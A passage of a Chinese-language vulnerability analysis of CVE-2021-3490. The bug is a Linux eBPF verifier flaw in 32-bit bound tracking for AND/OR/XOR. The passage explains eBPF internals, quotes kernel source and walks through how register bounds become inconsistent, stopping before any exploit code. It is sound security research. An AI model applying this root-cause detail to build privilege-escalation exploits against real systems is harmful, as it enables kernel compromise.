[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

admin 2023年6月8日11:33:50评论17 views字数 64610阅读215分22秒阅读模式

作者坛账号:arttnba3

0x00. 一切开始之前

CVE-2021-3490 是一个发生在 eBPF verifier 中的漏洞,由于 eBPF verifier 在校验位运算操作( 与、或、异或 )时没有正确地更新寄存器的 32 位边界,从而导致攻击者可以构造出非法的运行时寄存器值以进行提权;该漏洞在 这个 commit 中被引入,在 这个 commit 中被修复

本文我们选择内核版本 5.11.16 进行分析,在开始之前让我们先补充一些基础知识

注:本文所涉及到的 eBPF 源码来自于内核版本 5.11.6

注2:本漏洞利用 exp 已经开源于 https://github.com/arttnba3/Linux-kernel-exploitation

〇、What is eBPF?

伯克利包过滤器(Berkeley Packet Filter)是一个 Linux kernel 中用以对来自于链路层的数据包进行过滤的架构,其位于内核中的架构如下图所示:

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

相比起传统的数据包过滤器而言,BPF 在内核中实现了一个新的虚拟机设计,通过即时编译(Just-In-Time compilation)技术将 BPF 指令翻译为 BPF 虚拟机的字节码,可以高效地工作在基于寄存器结构的 CPU 上

Linux kernel 自 3.18 版本起提供了扩展伯克利包过滤器extended BPF,即 eBPF),其应用范围更广,能够被应用于更多的场景,原来的 BPF 被称为 classic BPF(cBPF),且目前基本上已经被废弃,Linux 会将 cBPF 字节码转化为 eBPF 字节码再执行

作为一个位于内核层面的虚拟机,eBPF 无疑为攻击者提供了一个相当大的新攻击面,因此也成为近几年内核利用中的“大热门”

一、eBPF 的运行过程

Linux 下 eBPF 的整体架构如下图所示:

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

  • 用户进程首先在用户空间编写相应的 BPF 字节码程序,传入内核

  • 内核通过 verifier 对字节码程序进行安全性检查,通过检查后便通过 JIT 编译运行,eBPF 程序主要分为如下类型:

    • kprobes :内核中的动态跟踪,可以跟踪至内核中的函数入口或返回点

    • uprobes :用户空间中的动态跟踪,与 kprobes 不同的是跟踪的函数位于用户程序中

    • tracepoints :内核中的静态跟踪

    • perf_events :定时采样与 PMC

  • 映射(map)作为用以保存数据的通用结构,可以在不同的 eBPF 程序之间或是用户进程与内核间共享数据

不同版本的 eBPF 所支持的功能是不同的,参见这↑里↓

version 功能
4.1 kprobe support
4.4 Perf events
4.7 Tracepoints support
4.8 XDP core
4.10 cgroups support

一个 eBPF 程序可以被挂载到多个事件上,不同的 eBPF 程序之间可以共享同一个映射

 复制代码 隐藏代码
           tracing     tracing    tracing    packet      packet     packet
           event A     event B    event C    on eth0     on eth1    on eth2
            |             |         |          |           |          ^
            |             |         |          |           v          |
            --> tracing <--     tracing      socket    tc ingress   tc egress
                 prog_1          prog_2      prog_3    classifier    action
                 |  |              |           |         prog_4      prog_5
              |---  -----|  |------|          map_3        |           |
            map_1       map_2                              --| map_4 |--

二、eBPF verifier

在 eBPF 字节码被传入到内核空间后,其首先需要经过 verifier 的安全检查,之后才能进行 JIT 编译,verifier 主要检查以下几点:

  • 没有回向边(back edge)、环路(loop)、不可达(unreachable)指令

  • 不能在指针之间进行比较,指针只能与标量进行加减(eBPF 中的标量值为不从指针派生的值),verifier 会追踪哪些寄存器包含指针、哪些寄存器包含标量值

  • 指针运算不能离开一个 map 的“安全”边界,这意味着程序不能访问预定义的 map 外的内存,verifier 通过追踪每个寄存器值的上界与下界

  • 不能将指针存储在 map 中或作为返回值,以避免将内核地址泄露到用户空间

在 kernel/bpf/verifier.c  开头注释阐述如下:

 复制代码 隐藏代码
/* bpf_check() 是一个静态代码分析器,其逐条遍历 eBPF 程序中的指令,
* 并更新寄存器/堆栈的状态。
* 条件分支的所有路径都会被分析,直到 'bpf_exit' 指令。
*
* 首先通过深度优先搜索检查程序是否为有向无环图(Directed Acyclic Graph)
* 其拒绝以下程序:
* - 指令数大于 BPF_MAXINSNS
* - 出现了循环 (通过后向边检测)
* - 存在不可达指令 (不应当是一个森林. 程序 = 一个函数)
* - 越界或畸形跳转
* 接着是第一条指令展开的所有可能路径。
* 由于其分析程序中所有的路径,分析的长度被限制为 64k 指令,
* 即使总的指令数仅有 4k 可也能达到,但这有太多的会改变栈/寄存器的分支。
* “被分析的分支”的数量被限制在 1k
*
* 在每条指令的入口,每个寄存器都有一个类型,该指令根据指令语义改变寄存器的类型。
* 若指令为 BPF_MOV64_REG(BPF_REG_1, BPF_REG_5),  则 R5 的类型会被复制给 R1
*
* 所有的寄存器都是 64 位的
* R0 - 返回寄存器
* R1-R5 传参寄存器
* R6-R9 callee 保存的寄存器
* R10 - 只读帧指针
*
* 在 BPF 程序起始, R1 寄存器包含一个指向 bpf_context 的指针,
* 其类型为 PTR_TO_CTX.
*
* Verifier 跟踪指针上的运算,以免:
*    BPF_MOV64_REG(BPF_REG_1, BPF_REG_10),
*    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, -20),
* 第一条指令将 R10 (FRAME_PTR) 的类型拷贝给 R1,
* 第二条算术指令通过模式匹配以识别其想要构造一个指向栈内元素的指针。
* 因此在第二条指令后,寄存器 R1 的类型为 PTR_TO_STACK
* (以及常量 -20 被存储用作未来的栈边界检查).
* 这意味着该寄存器为一个指向[栈 + 已知立即数常量]的指针
*
* 大部分情况下寄存器都有着 SCALAR_VALUE 类型,
* 这意味着寄存器存储着一些值,但并非一个可用的指针.
* (例如指针加上指针会变为 SCALAR_VALUE 类型)
*
* 当 verifier 遇到 load 或 store 指令时基寄存器(base register)的类型可以为:
* PTR_TO_MAP_VALUE, PTR_TO_CTX, PTR_TO_STACK, PTR_TO_SOCKET.
* 这些是 4 种被 check_mem_access() 函数所识别的指针类型.
*
* PTR_TO_MAP_VALUE 意为该寄存器指向 'map element value'
* 可访问的范围为 [ptr, ptr + map's value_size).
*
*
* 用以在函数调用时传值的寄存器被根据函数参数约束进行检查
*
* ARG_PTR_TO_MAP_KEY 便是其中一个这样的参数约束.
* 其意为传递给该函数的寄存器类型必须为 PTR_TO_STACK
* 且其在函数内将被作为 'pointer to map element key' 使用
*
* 例如,这些是 bpf_map_lookup_elem() 的参数约定:
*   .ret_type = RET_PTR_TO_MAP_VALUE_OR_NULL,
*   .arg1_type = ARG_CONST_MAP_PTR,
*   .arg2_type = ARG_PTR_TO_MAP_KEY,
*
* ret_type 表示该函数返回 'pointer to map elem value or null'
* 函数希望第一个参数为一个指向 'struct bpf_map' 的常量指针,
* 第二个参数则应为指向栈的指针,其会在 helper 函数内用作
* 指向[map element key]的指针
*
* 内核侧的 helper 函数有如下形式:
* u64 bpf_map_lookup_elem(u64 r1, u64 r2, u64 r3, u64 r4, u64 r5)
* {
*    struct bpf_map *map = (struct bpf_map *) (unsigned long) r1;
*    void *key = (void *) (unsigned long) r2;
*    void *value;
*
*    这里内核可以安全地访问 'key' 与 'map' 指针, 知晓
*    [key, key + map->key_size) 字节为可用的且被
*    初始化在 eBPF 程序的栈上.
* }
*
* 相应的 eBPF 程序或许形如:
*    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),  // 这条指令后 R2 的类型为 FRAME_PTR
*    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), // 这条指令后 R2 的类型为 PTR_TO_STACK
*    BPF_LD_MAP_FD(BPF_REG_1, map_fd),      // 这条指令后 R1 的类型为 CONST_PTR_TO_MAP
*    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
* 这里 verifier 关注 map_lookup_elem() 的原型,会看到:
* .arg1_type == ARG_CONST_MAP_PTR 以及 R1->type == CONST_PTR_TO_MAP, 这是 🆗 的,
* 现在 verifier 知道该 map 有一个 R1->map_ptr->key_size 字节的 key
*
* 然后, .arg2_type == ARG_PTR_TO_MAP_KEY and R2->type == PTR_TO_STACK, 到现在还🆗,
* 现在 verifier 检查 [R2, R2 + map's key_size) 在栈的限制内,
* 且在该调用之前被初始化.
* 若🆗, verifier 接下来允许该 BPF_CALL 指令并关注
* .ret_type (为 RET_PTR_TO_MAP_VALUE_OR_NULL), 故让
* R0->type = PTR_TO_MAP_VALUE_OR_NULL ,这意味着 bpf_map_lookup_elem() 函数
* 返回指向 map value 的指针或 NULL.
*
* 当类型 PTR_TO_MAP_VALUE_OR_NULL 通过 'if (reg != 0) goto +off' 指令,
* 在 true 分支中持有指针的寄存器将状态改变为 PTR_TO_MAP_VALUE,
* 在 false 分支中同样的寄存器将状态改变为 CONST_IMM 。
* 参见 check_cond_jmp_op().
*
* 在调用后 R0 被设为函数返回值,寄存器 R1-R5 被设为 NOT_INIT
* 以表示其不再可读.
*
* 以下引用类型表示一个对内核资源的潜在引用,
* 在其第一次被分配后, BPF 程序必须检查并释放该资源:
* - PTR_TO_SOCKET_OR_NULL, PTR_TO_SOCKET
*
* 当 verifier 遇到一个 helper 调用返回一个引用类型,
* 其为该引用分配一个指针 id 并将他储存在当前的函数状态中.
* 类似于将 PTR_TO_MAP_VALUE_OR_NULL 转化为 PTR_TO_MAP_VALUE 的方式,
* 当类型通过一个 NULL-check 条件, PTR_TO_SOCKET_OR_NULL 变为 PTR_TO_SOCKET。
* 对于状态变为 CONST_IMM 的分支,verifier会释放引用
*
* 对每个会分配一个引用的 helper 函数,例如 bpf_sk_lookup_tcp(),
* 都有一个对应的释放函数,例如bpf_sk_release()。
* 当一个引用类型传入释放函数时,verifier 同样释放引用。
* 若在程序末尾仍保留有任何未检查或未释放的引用,verifier 会拒绝他
*/

ALU Sanitation

ALU Sanitation 是 eBPF 中一个代码加固与运行时动态检测的框架,通过对程序正在处理的实际值进行运行时检查以弥补 verifier 静态分析的不足,这项技术通过调用 fixup_bpf_calls() 为 eBPF 程序中的每一条指令的前面都添加上额外的辅助指令、替换部分指令等方式来实现

三、eBPF 虚拟机

eBPF 虚拟机本质上是 RISC 架构,一共有 11 个 64 位寄存器,一个程序计数器(PC)与一个固定大小的堆栈(通常为 512KB),在 x86 架构下的对应关系如下:

eBPF 寄存器 映射 x86_64 寄存器 用途
R0 rax 函数返回值
R1 rdi argv1
R2 rsi argv2
R3 rdx argv3
R4 rcx argv4
R5 r8 argv5
R6 rbx callee 保存
R7 r13 callee 保存
R8 r14 callee 保存
R9 r15 callee 保存
R10(只读) rbp 堆栈指针寄存器

r1 ~ r5 这五个寄存器用作 eBPF 中的函数调用传参,且只能保存常数或是指向堆栈的指针,因此所有的内存访问都需要先把数据加载到 eBPF 堆栈中才能使用,这种限制简化了 eBPF 的内存模型,也更方便 verifier 进行检查

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

bpf_reg_state - eBPF 寄存器状态

在 eBPF 中,一个寄存器的状态信息使用 bpf_reg_state 进行表示:

 复制代码 隐藏代码
struct bpf_reg_state {
        /* 各字段的顺序是重要的.  参见 states_equal() */
        enum bpf_reg_type type;
        /* 指针偏移的固定部分, 仅指针类型 */
        s32 off;
        union {
                /* 当 type == PTR_TO_PACKET 时可用 */
                int range;

                /* 当 type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
                 *   PTR_TO_MAP_VALUE_OR_NULL 时可用
                 */

                struct bpf_map *map_ptr;

                /* for PTR_TO_BTF_ID */
                struct {
                        struct btf *btf;
                        u32 btf_id;
                };

                u32 mem_size; /* for PTR_TO_MEM | PTR_TO_MEM_OR_NULL */

                /* 以上任意一个的最大尺寸. */
                struct {
                        unsigned long raw1;
                        unsigned long raw2;
                } raw;

        };
        /* 对于 PTR_TO_PACKET, 用以找到有着相同变量偏移的其他指针,
         * 由此他们可以共享范围信息.
         * 对于 PTR_TO_MAP_VALUE_OR_NULL 其被用于共享我们来自哪一个映射值
         * 当其一被测试于 != NULL.
         * 对于 PTR_TO_MEM_OR_NULL 其被用于辨识内存分配以追踪其释放.
         * 对于 PTR_TO_SOCKET 其被用于共享哪一个指针保留了对 socket 的相同引用,
         * 以确定合适的引用释放.
         * 对于作为 dynptrs 的 stack slots, 其被用于追踪对 dynptr的引用
         * 以确定合适的引用释放.
         */

        u32 id;
        /* PTR_TO_SOCKET 与 PTR_TO_TCP_SOCK 可以为一个返回自一个 pointer-cast helper
         * bpf_sk_fullsock() 与 bpf_tcp_sock() 的指针 .
         *
         * 考虑如下情况, "sk" 为一个返回自 "sk = bpf_sk_lookup_tcp();" 的引用计数指针:
         *
         * 1: sk = bpf_sk_lookup_tcp();
         * 2: if (!sk) { return 0; }
         * 3: fullsock = bpf_sk_fullsock(sk);
         * 4: if (!fullsock) { bpf_sk_release(sk); return 0; }
         * 5: tp = bpf_tcp_sock(fullsock);
         * 6: if (!tp) { bpf_sk_release(sk); return 0; }
         * 7: bpf_sk_release(sk);
         * 8: snd_cwnd = tp->snd_cwnd;  // verifier 将抗议
         *
         * 在第 7 行的 bpf_sk_release(sk) 之后, "fullsock" 指针与
         * "tp" 指针都应当被无效化.  为了这么做, 保存 "fullsock" 与 "sk"
         * 的寄存器需要记住在 ref_obj_id 中的原始引用计数指针 id(即, sk_reg->id)
         * 这样 verifier 便能重置所有 ref_obj_id 匹配 sk_reg->id 的寄存器
         *
         * sk_reg->ref_obj_id 在第 1 行被设为 sk_reg->id.
         * sk_reg->id 将仅作为 NULL-marking 的目的保持.
         * 在 NULL-marking 完成后, sk_reg->id 可以被重置为 0.
         *
         * 在第 3 行的 "fullsock = bpf_sk_fullsock(sk);" 之后,
         * fullsock_reg->ref_obj_id 被设为 sk_reg->ref_obj_id.
         *
         * 在第 5 行的 "tp = bpf_tcp_sock(fullsock);" 之后,
         * tp_reg->ref_obj_id 被设为 fullsock_reg->ref_obj_id
         * 与 sk_reg->ref_obj_id 一致.
         *
         * 从 verifier 的角度而言, 若 sk, fullsock 与 tp 都非 NULL,
         * 他们为有着不同 reg->type 的相同指针.
         * 特别地, bpf_sk_release(tp) 也被允许且有着与 bpf_sk_release(sk)
         * 相同的影响.
         */

        u32 ref_obj_id;
        /* 对于标量类型 (SCALAR_VALUE), 其表示我们对实际值的了解.
         * 对于指针类型, 其表示从被指向对象的偏移的可变部分,
         * 且同与我们有相同 id 的所有 bpf_reg_states 共享.
         */

        struct tnum var_off;
        /* 被用于确定任何使用该寄存器的内存访问是否将导致一个坏的访问.
         * These refer to the same value as var_off, not necessarily the actual
         * contents of the register.
         */

        s64 smin_value; /* 最小可能值 (s64) */
        s64 smax_value; /* 最大可能值 (s64) */
        u64 umin_value; /* 最小可能值 (u64) */
        u64 umax_value; /* 最大可能值 (u64) */
        s32 s32_min_value; /* 最小可能值 (s32) */
        s32 s32_max_value; /* 最大可能值 (s32) */
        u32 u32_min_value; /* 最小可能值 (u32) */
        u32 u32_max_value; /* 最大可能值 (u32) */
        /* 用于存活检查的亲子链 */
        struct bpf_reg_state *parent;
        /* 在被调用方中两个寄存器可以同时为 PTR_TO_STACK 如同 R1=fp-8 与 R2=fp-8,
         * 但其一指向该函数栈而另一指向调用方的栈. 为了区分他们 'frameno' 被使用,
         * 其为一个指向 bpf_func_state 的 bpf_verifier_state->frame[] 数组中的下标.
         */

        u32 frameno;
        /* 追踪子寄存器(subreg)定义. 保存的值为写入 insn 的 insn_idx.
         * 这是安全的因为 subreg_def 在任何仅在主校验结束后发生的 insn 修补前被使用.
         */

        s32 subreg_def;
        enum bpf_reg_liveness live;
        /* if (!precise && SCALAR_VALUE) min/max/tnum don't affect safety */
        bool precise;
};

寄存器运行时值与边界范围校验

eBPF 程序的安全主要是由 verifier 保证的,verifier 会模拟执行每一条指令并验证寄存器的值是否合法,主要关注这几个字段:

  • smin_valuesmax_value: 64 位有符号的值的可能取值边界

  • umin_valueumax_value:64 位无符号的值的可能取值边界

  • s32_min_values32_max_value:32 位有符号的值的可能取值边界

  • u32_min_valueu32_max_value:32 位无符号的值的可能取值边界

而寄存器中可以确定的值实际上通过 var_off 字段进行表示,该值用一个 tnum 结构体表示,mask 中为 0 对应的 value 位为已知位

 复制代码 隐藏代码
struct tnum {
        u64 value;
        u64 mask;
};

一个 verifier 完全未知的寄存器如下:

 复制代码 隐藏代码
const struct tnum tnum_unknown = { .value = 0, .mask = -1 };

需要注意的是寄存器边界值是 verifier 通过模拟执行推测出来的,运行时的寄存器值不一定与 verifier 所推测的一致,这也曾是很多 eBPF 漏洞产生的原因

寄存器类型

寄存器在程序运行的不同阶段可能存放着不同类型的值,verifier 通过跟踪寄存器值的类型来防止越界访问的发生,主要有三类:

  • 未初始化(not init):寄存器的初始状态,尚未经过任何赋值操作,此类寄存器不能参与运算

  • 标量值(scalar):该寄存器被赋予了整型值,此类寄存器不能被作为指针进行内存访问

  • 指针类型(pointer):该寄存器为一个指针,verifier 会检查内存访问是否超出指针允许的范围

    • 实际上 eBPF 按照用途的不同划分多个不同的指针类型,例如指向栈的指针为 PTR_TO_STACK 类型

 复制代码 隐藏代码
/* types of values stored in eBPF registers */
/* Pointer types represent:
* pointer
* pointer + imm
* pointer + (u16) var
* pointer + (u16) var + imm
* if (range > 0) then [ptr, ptr + range - off) is safe to access
* if (id > 0) means that some 'var' was added
* if (off > 0) means that 'imm' was added
*/

enum bpf_reg_type {
        NOT_INIT = 0,                 /* nothing was written into register */
        SCALAR_VALUE,                 /* reg doesn't contain a valid pointer */
        PTR_TO_CTX,                 /* reg points to bpf_context */
        CONST_PTR_TO_MAP,         /* reg points to struct bpf_map */
        PTR_TO_MAP_VALUE,         //...
        /* 后面都是大量的 PTR_TO_XXX ,这里就不贴代码了:)*/
};

四、eBPF 指令与 eBPF 程序

eBPF 为 RISC 指令集,单条 eBPF 指令在内核中定义为一个 bpf_insn 结构体:

 复制代码 隐藏代码
struct bpf_insn {
        __u8        code;                /* opcode */
        __u8        dst_reg:4;        /* dest register */
        __u8        src_reg:4;        /* source register */
        __s16        off;                /* signed offset */
        __s32        imm;                /* signed immediate constant */
};

相应地,一个最简单的 eBPF 程序便是一个 bpf_insn 结构体数组,我们可以直接在用户态下编写形如这样的结构体数组来描述一个 eBPF 程序,并作为 eBPF 程序字节码传入内核:

 复制代码 隐藏代码
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM)         
    ((struct bpf_insn) {                                
        .code        = CODE,                           
        .dst_reg     = DST,                             
        .src_reg     = SRC,                             
        .off         = OFF,                             
        .imm         = IMM                              
})


struct bpf_insn test_bpf_prog[] = {
    BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, BPF_REG_0, 0, 0, 0x114514),
    BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0),
};

载入到内核中后,内核最终会使用一个 bpf_prog 结构体来表示一个 eBPF 程序:

 复制代码 隐藏代码
struct bpf_prog {
        u16                        pages;                /* 分配的页面数量 */
        u16                        jited:1,        /* 我们的 filter 是否是即时编译的? */
                                jit_requested:1,/* 架构需要即时编译程序 */
                                gpl_compatible:1, /* filter 是否兼容 GPL? */
                                cb_access:1,        /* 控制块被访问了吗? */
                                dst_needed:1,        /* 我们是否需要 dst 入口? */
                                blinding_requested:1, /* needs constant blinding *///译注:不知道咋翻
                                blinded:1,        /* Was blinded *///译注:瞎了?
                                is_func:1,        /* 程序为一个 bpf 函数 */
                                kprobe_override:1, /* 我们是否在一个 kprobe 之上? */
                                has_callchain_buf:1, /* callchain buffer 分配了吗? */
                                enforce_expected_attach_type:1, /* 在 attach 时强制执行 expected_attach_type 检查 */
                                call_get_stack:1, /* 我们是否调用 bpf_get_stack() 或 bpf_get_stackid() */
        enum bpf_prog_type        type;                /* BPF 程序类型 */
        enum bpf_attach_type        expected_attach_type; /* 用于一些程序类型 */
        u32                        len;                /* filter 块的数量 */
        u32                        jited_len;        /* 按字节计的被即时编译的指令大小 */
        u8                        tag[BPF_TAG_SIZE];
        struct bpf_prog_aux        *aux;                /* 辅助域 */
        struct sock_fprog_kern        *orig_prog;        /* 原始 BPF 程序 */
        unsigned int                (*bpf_func)(const void *ctx,
                                            const struct bpf_insn *insn);
        /* 翻译器的指令 */
        struct sock_filter        insns[0];
        struct bpf_insn                insnsi[];
};

其中 bpf_func 函数指针便指向 BPF 字节码经过 JIT 编译生成的汇编代码入口点

五、eBPF map

bpf map 是一个通用的用以储存不同种类数据的结构,用以在用户进程与 eBPF 程序、eBPF 程序与 eBPF 程序之间进行数据共享,这些数据以二进制形式储存,因此用户在创建时只需要指定 key 与 value 的 size

bpf map 主要有以下五个基本属性:

  • type:map 的数据结构类型

  • key_size:以字节为单位的用以索引一个元素的 key 的 size(在数组映射中使用)

  • value_size:以字节为单位的每个元素的 size

  • max_entries:map 中 entries 的最大数量

  • map_flags:描述 map 的独特特征,例如是否整个 map 的内存应被预先分配等

在内核当中使用一个 bpf_map 结构体表示:

 复制代码 隐藏代码
struct bpf_map {
        /* The first two cachelines with read-mostly members of which some
         * are also accessed in fast-path (e.g. ops, max_entries).
         */

        const struct bpf_map_ops *ops ____cacheline_aligned;
        struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
        void *security;
#endif
        enum bpf_map_type map_type;
        u32 key_size;
        u32 value_size;
        u32 max_entries;
        u32 map_flags;
        int spin_lock_off; /* >=0 valid offset, <0 error */
        u32 id;
        int numa_node;
        u32 btf_key_type_id;
        u32 btf_value_type_id;
        struct btf *btf;
#ifdef CONFIG_MEMCG_KMEM
        struct mem_cgroup *memcg;
#endif
        char name[BPF_OBJ_NAME_LEN];
        u32 btf_vmlinux_value_type_id;
        bool bypass_spec_v1;
        bool frozen; /* write-once; write-protected by freeze_mutex */
        /* 22 bytes hole */

        /* The 3rd and 4th cacheline with misc members to avoid false sharing
         * particularly with refcounting.
         */

        atomic64_t refcnt ____cacheline_aligned;
        atomic64_t usercnt;
        struct work_struct work;
        struct mutex freeze_mutex;
        u64 writecnt; /* writable mmap cnt; protected by freeze_mutex */
};

map 类型

eBPF map 有多种类型,常用的主要是以下几种类型:

  • BPF_MAP_TYPE_HASH:以哈希表形式存储键值对,比较常规

  • BPF_MAP_TYPE_ARRAY:以数组形式存储键值对,key 即为数组下标,对应的 value 皆初始化为 0

  • BPF_MAP_TYPE_PROG_ARRAY:特殊的数组映射,value 为其他 eBPF 程序的文件描述符

  • BPF_MAP_TYPE_STACK:以栈形式存储数据

0x01. 漏洞分析

eBPF 指令的合法性校验通过 eBPF verifier 完成,eBPF verifier 的核心函数便是 do_check(),该函数会遍历每一条指令并根据指令的不同类型进行不同操作,对于算术指令(BPF_ALU / BPF_ALU64)而言有如下调用链:

 复制代码 隐藏代码
do_check()        // 遍历每一条指令并根据类型调用相应函数处理
        check_alu_op()        // 根据算术指令的 opcode 进行不同处理
                adjust_reg_min_max_vals()        // 计算新的寄存器边界值
                        adjust_scalar_min_max_vals()        // 根据 opcode 计算具体的新边界值

在 adjust_scalar_min_max_vals() 函数当中会对 32 位与 64 位都进行边界校验(因为实际参与运算的可能是 32 也可能是 64),计算边界值的逻辑主要是先调用 scalar32_min_max_xor() 计算 32 位边界值再调用 scalar_min_max_xor() 计算 64 位边界值:

 复制代码 隐藏代码
/* WARNING: 该函数在 64 位值上进行计算,但实际执行可能在 32 位值上,
* 因此在 32 位的情况下,诸如位移等需要额外的检查.
*/

static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                      struct bpf_insn *insn,
                                      struct bpf_reg_state *dst_reg,
                                      struct bpf_reg_state src_reg)
{
        //...

        switch (opcode) {
        //...
        case BPF_AND:
                dst_reg->var_off = tnum_and(dst_reg->var_off, src_reg.var_off);
                scalar32_min_max_and(dst_reg, &src_reg);        /* 漏洞点 */
                scalar_min_max_and(dst_reg, &src_reg);
                break;
        case BPF_OR:
                dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
                scalar32_min_max_or(dst_reg, &src_reg);        /* 漏洞点 */
                scalar_min_max_or(dst_reg, &src_reg);
                break;
        case BPF_XOR:
                dst_reg->var_off = tnum_xor(dst_reg->var_off, src_reg.var_off);
                scalar32_min_max_xor(dst_reg, &src_reg);        /* 漏洞点 */
                scalar_min_max_xor(dst_reg, &src_reg);
                break;
        //...

        /* ALU32 ops are zero extended into 64bit register */
        if (alu32)
                zext_32_to_64(dst_reg);

        __update_reg_bounds(dst_reg);//更新边界
        __reg_deduce_bounds(dst_reg);
        __reg_bound_offset(dst_reg);
        return 0;
}

在更新 32 位边界值时开发者认为如果两个寄存器的低 32 位都为 known 那就可以直接跳过,因为 64 位时还会进行更新:

tnum_subreg_is_const() 会看寄存器的 var_off 的 mask 的低 32 位是否为 0(即全部已知)

 复制代码 隐藏代码
static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
                                 struct bpf_reg_state *src_reg)
{
        bool src_known = tnum_subreg_is_const(src_reg->var_off);
        bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
        struct tnum var32_off = tnum_subreg(dst_reg->var_off);
        s32 smin_val = src_reg->s32_min_value;
        u32 umax_val = src_reg->u32_max_value;

        /* 假设 scalar64_min_max_and 将被调用,
         * 因此跳过为已知的 32位情况更新寄存器是安全的.
         */

        if (src_known && dst_known)
                return;

        //...

在更新 64 位边界值时若两个寄存器都为 known 就直接调用 __mark_reg_known() 将寄存器标为 known 并直接返回

 复制代码 隐藏代码
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
                               struct bpf_reg_state *src_reg)
{
        bool src_known = tnum_is_const(src_reg->var_off);
        bool dst_known = tnum_is_const(dst_reg->var_off);
        s64 smin_val = src_reg->smin_value;
        u64 umax_val = src_reg->umax_value;

        if (src_known && dst_known) {
                __mark_reg_known(dst_reg, dst_reg->var_off.value);
                return;
        }

        //...

__mark_reg_known() 其实就是简单的调用 tnum_const() 设置寄存器 var_off 为 known ,并给对应边界赋值:

 复制代码 隐藏代码
/* This helper doesn't clear reg->id */
static void ___mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
        reg->var_off = tnum_const(imm);
        reg->smin_value = (s64)imm;
        reg->smax_value = (s64)imm;
        reg->umin_value = imm;
        reg->umax_value = imm;

        reg->s32_min_value = (s32)imm;
        reg->s32_max_value = (s32)imm;
        reg->u32_min_value = (u32)imm;
        reg->u32_max_value = (u32)imm;
}

/* 标记一个寄存器的未知部分 (变量偏移或标量值)
* 为已知的值 @imm.
*/

static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
        /* Clear id, off, and union(map_ptr, range) */
        memset(((u8 *)reg) + sizeof(reg->type), 0,
               offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
        ___mark_reg_known(reg, imm);
}

但这样存在一个问题,若存在一个高 32 位 unknown 的寄存器,则不会调用 __mark_reg_known() 更新 32 位的边界值,而只会更新 64 位边界值

 复制代码 隐藏代码
        /* 我们从 var_off 中获取最小值, 因为其本质上是按位的.
         * 我们的最大值为操作数中所有最大值的最小值.
         */

        dst_reg->umin_value = dst_reg->var_off.value;
        dst_reg->umax_value = min(dst_reg->umax_value, umax_val);
        if (dst_reg->smin_value < 0 || smin_val < 0) {
                /* 在加上负值时会丢失有符号的范围,
                 * 没人有时间搞这个.  // 译注:原文如此
                 */

                dst_reg->smin_value = S64_MIN;
                dst_reg->smax_value = S64_MAX;
        } else {
                /* 两个正值相加还算正值,
                 * 故可以很安全地将结果转为 s64.
                 */

                dst_reg->smin_value = dst_reg->umin_value;
                dst_reg->smax_value = dst_reg->umax_value;
        }
        /* 我们可能从 var_off 中获取到更多 */
        __update_reg_bounds(dst_reg);
}

这里笔者举一个非常简单的并且已经在其他各大师傅的漏洞分析的文章里用烂了的例子:

  • R2 = { .value = 0x1, .mask = 0xffffffff00000000 }; :该寄存器低 32 位值已知为 1,高 32 位不确定

  • R3 = { .value = 0x100000002, .mask = 0x0 }; :该寄存器 64 位值全部已知,为 0x100000002

假如我们将 R2 与 R3 做与运算,在刚进入 switch 时会先调用 tnum_and() 进行计算并将结构保存到 R2->var_off,由于 R3 全部确定而 R2 的高 32 位不确定,因此运算结果为 { .value = 0x0, .mask = 0x100000000 },即仅有第 32 位是不确定的

接下来继续回到 scalar_min_max_and()中,该函数最后会调用 __update_reg_bounds() 对比寄存器的 var_off 并更新边界值:

 复制代码 隐藏代码
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
        struct tnum var32_off = tnum_subreg(reg->var_off);

        /* min signed is max(sign bit) | min(other bits) */
        reg->s32_min_value = max_t(s32, reg->s32_min_value,
                        var32_off.value | (var32_off.mask & S32_MIN));
        /* max signed is min(sign bit) | max(other bits) */
        reg->s32_max_value = min_t(s32, reg->s32_max_value,
                        var32_off.value | (var32_off.mask & S32_MAX));
        reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
        reg->u32_max_value = min(reg->u32_max_value,
                                 (u32)(var32_off.value | var32_off.mask));
}

static void __update_reg64_bounds(struct bpf_reg_state *reg)
{
        /* min signed is max(sign bit) | min(other bits) */
        reg->smin_value = max_t(s64, reg->smin_value,
                                reg->var_off.value | (reg->var_off.mask & S64_MIN));
        /* max signed is min(sign bit) | max(other bits) */
        reg->smax_value = min_t(s64, reg->smax_value,
                                reg->var_off.value | (reg->var_off.mask & S64_MAX));
        reg->umin_value = max(reg->umin_value, reg->var_off.value);
        reg->umax_value = min(reg->umax_value,
                              reg->var_off.value | reg->var_off.mask);
}

static void __update_reg_bounds(struct bpf_reg_state *reg)
{
        __update_reg32_bounds(reg);
        __update_reg64_bounds(reg);
}

计算方法如下:

  • 最小边界值 = 【min_value 、 var_off 已知值】中的最大者

  • 最大边界值 =【 max_value 、 var_off 已知值】中的最小者

由于 R2 的 32 位初始边界值未经过更新,仍为其原值 1,因此经过该轮计算之后 R2 的最小值为 1,最大值为 0,而这显然是不合理的

回到  adjust_scalar_min_max_vals() 中,其最后也会调用 __update_reg_bounds() 对比寄存器的 var_off 并更新边界值:

 复制代码 隐藏代码
        default:
